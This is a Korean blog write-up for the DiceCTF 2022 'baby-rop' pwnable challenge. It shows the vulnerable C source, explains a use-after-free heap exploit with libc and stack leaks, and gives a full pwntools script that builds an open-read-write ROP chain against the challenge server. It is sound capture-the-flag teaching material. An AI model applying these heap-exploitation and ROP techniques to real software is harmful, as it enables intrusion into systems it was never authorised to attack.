Sechack
Dice CTF 2022 - baby-rop 풀이 본문
반응형
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "seccomp-bpf.h"
void activate_seccomp()
{
struct sock_filter filter[] = {
VALIDATE_ARCHITECTURE,
EXAMINE_SYSCALL,
ALLOW_SYSCALL(mprotect),
ALLOW_SYSCALL(mmap),
ALLOW_SYSCALL(munmap),
ALLOW_SYSCALL(exit_group),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(close),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(fstat),
ALLOW_SYSCALL(brk),
ALLOW_SYSCALL(newfstatat),
ALLOW_SYSCALL(ioctl),
ALLOW_SYSCALL(lseek),
KILL_PROCESS,
};
struct sock_fprog prog = {
.len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
.filter = filter,
};
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}
#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
// method 1, use macro
printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);
// method 2, use gnu_get_libc_version
puts(gnu_get_libc_version());
// method 3, use confstr function
char version[30] = {0};
confstr(_CS_GNU_LIBC_VERSION, version, 30);
puts(version);
return 0;
}
#define NUM_STRINGS 10
typedef struct {
size_t length;
char * string;
} safe_string;
safe_string * data_storage[NUM_STRINGS];
void read_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
for(size_t j = 0; j < ptr->length; ++j) {
fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
}
fprintf(stdout, "\n");
fflush(stdout);
}
void free_safe_string(int i) {
safe_string * ptr = data_storage[i];
free(ptr->string);
free(ptr);
}
void write_safe_string(int i) {
safe_string * ptr = data_storage[i];
if(ptr == NULL) {
fprintf(stdout, "that item does not exist\n");
fflush(stdout);
return;
}
fprintf(stdout, "enter your string: ");
fflush(stdout);
read(STDIN_FILENO, ptr->string, ptr->length);
}
void create_safe_string(int i) {
safe_string * ptr = malloc(sizeof(safe_string));
fprintf(stdout, "How long is your safe_string: ");
fflush(stdout);
scanf("%zu", &ptr->length);
ptr->string = malloc(ptr->length);
data_storage[i] = ptr;
write_safe_string(i);
}
// flag.txt
int main() {
get_libc();
activate_seccomp();
int idx;
int c;
while(1){
fprintf(stdout, "enter your command: ");
fflush(stdout);
while((c = getchar()) == '\n' || c == '\r');
if(c == EOF) { return 0; }
fprintf(stdout, "enter your index: ");
fflush(stdout);
scanf("%u", &idx);
if((idx < 0) || (idx >= NUM_STRINGS)) {
fprintf(stdout, "index out of range: %d\n", idx);
fflush(stdout);
continue;
}
switch(c) {
case 'C':
create_safe_string(idx);
break;
case 'F':
free_safe_string(idx);
break;
case 'R':
read_safe_string(idx);
break;
case 'W':
write_safe_string(idx);
break;
case 'E':
return 0;
}
}
}
소스코드를 제공해준다. 힙 구조는 단순히 chunk안에 또다른 chunk를 가리키는 힙 주소가 있는 형태이다. free를 하고나서 별다른 포인터 초기화를 하지 않으므로 free된 chunk에 접근할 수 있고 uaf가 터진다. libc leak은 그냥 unsorted bin에 한번 넣었다 빼서 leak하면 되고 seccomp가 걸려있기때문에 hook을 덮는건 안되고 stack leak을 해서 rop를 해야한다.
0 : chunk1 -> chunk2
1 : chunk2 -> chunk1
arbitrary read와 arbitrary write를 하기 위해서는 위와같은 구조를 만들어주면 된다. free를 해도 chunk list에는 그대로 주소가 남아서 접근할 수 있게 되고 첫번째 malloc은 크기가 0x10으로 고정이니까 free되는 size를 각각 0x10, 0x20으로 두고 2개 해제한뒤 0x10, 0x10크기로 1번 할당하면 위와같은 구조를 만들 수 있다. 위의 구조에서 edit기능으로 0번 인덱스를 수정하게 되면 1번 인덱스의 구조체가 가리키고 있는 string포인터 값을 맘대로 덮을 수 있게 되고 arbitrary read와 arbitrary write가 가능해지게 된다. environ이용해서 stack leak해주고 main함수 ret에다가 aaw해서 orw rop하면 된다.
Full exploit
from pwn import *
#r = process(["./babyrop"], env={'LD_PRELOAD':'./libc.so.6'})
r = remote("mc.ax", 31245)
libc = ELF("./libc.so.6")
filename = 0x404000
databuf = 0x404500
def C(idx, size, data):
r.sendlineafter("command: ", "C")
r.sendlineafter("index: ", str(idx))
r.sendlineafter("string: ", str(size))
r.sendafter("string: ", data)
def F(idx):
r.sendlineafter("command: ", "F")
r.sendlineafter("index: ", str(idx))
def R(idx):
r.sendlineafter("command: ", "R")
r.sendlineafter("index: ", str(idx))
def W(idx, data):
r.sendlineafter("command: ", "W")
r.sendlineafter("index: ", str(idx))
r.sendafter("string: ", data)
def E(idx):
r.sendlineafter("command: ", "E")
r.sendlineafter("index: ", str(idx))
def bytes_to_int(hexarr):
count = 0
for i in hexarr:
tmp = int(i, 16)
if count != 0:
leak += tmp << (8 * count)
else:
leak = tmp
count += 1
return leak
C(0, 0x1000, "Sechack")
C(1, 0x10, "Sechack")
F(0)
C(2, 0x1000, "\xc0")
R(2)
leak = bytes_to_int(r.recvuntil("7f")[-17:].split())
libc_base = leak - 0x1f4cc0
environ = libc_base + libc.sym["environ"] #0x220ec0
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
pop_rdi = libc_base + 0x2d7dd
pop_rsi = libc_base + 0x2eef9
pop_rdx = libc_base + 0xd9c2d
print(hex(leak))
print(hex(libc_base))
C(3, 0x20, "Sechack")
C(4, 0x20, "Sechack")
F(3)
F(4)
C(5, 0x10, p64(0x10)+p64(environ))
R(3)
stack_leak = bytes_to_int(r.recvuntil("7f")[-17:].split())
ret = stack_leak - 0x140
print(hex(stack_leak))
W(5, p64(0x1000)+p64(ret))
payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(filename)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload += p64(pop_rdi)+p64(filename)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(databuf)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(databuf)+p64(pop_rdx)+p64(0x100)+p64(write_addr)
W(3, payload)
E(0)
r.send(b"flag.txt")
r.interactive()
반응형
'CTF' 카테고리의 다른 글
UTCTF 2022 - Automated Exploit Generation 2 풀이 (2) | 2022.03.12 |
---|---|
Codegate 2022 Junior 예선 Write up + 후기 (0) | 2022.02.28 |
2021 Layer7 CTF write up (0) | 2021.11.21 |
The Hacking Championship Junior 2021 제출용 write-up (0) | 2021.10.22 |
Tamil CTF pwnable Write up (0) | 2021.10.01 |
Comments